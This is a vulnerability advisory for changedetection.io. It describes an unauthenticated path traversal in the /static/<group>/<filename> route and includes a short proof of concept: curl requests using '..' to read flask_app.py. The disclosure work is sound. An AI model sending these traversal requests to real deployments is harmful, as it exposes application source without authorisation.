changedetection.io is vulnerable to unauthenticated static path traversal

Summary

The /static/<group>/<filename> route accepts group="..", which causes send_from_directory("static/..", filename) to execute. This moves the base directory up to /app/changedetectionio, enabling unauthenticated local file read of application source files (e.g., flask_app.py). Severity is low information disclosure (C:L).

Details

The vulnerable code is in changedetectionio/flask_app.py inside static_content():

group = re.sub(r'[^\w.-]+', '', group.lower())
filename = re.sub(r'[^\w.-]+', '', filename.lower())
...
return send_from_directory(f"static/{group}", path=filename)

The group sanitization allows dots, so group=".." passes validation.
This results in send_from_directory("static/..", filename), effectively shifting the base directory to /app/changedetectionio and allowing reads of files in that directory.
The route is unauthenticated, so any user can retrieve source files without logging in.

Limitation: the route only matches /static/<group>/<filename> and rejects slashes inside filename, so it cannot traverse further to arbitrary system paths like /etc/passwd. It is limited to files inside the application package directory.

PoC

1. Start an instance (example: Docker on port 5050)

docker run -d --name cdio -p 127.0.0.1:5050:5000 -v cdio-data:/datastore cdio-local

2. Reproduce
   (URL-encoded traversal)

curl -i http://127.0.0.1:5050/static/%2e%2e/flask_app.py

(curl path passthrough)

curl --path-as-is -i http://127.0.0.1:5050/static/../flask_app.py

3. Observe that the response body contains Python source code from flask_app.py.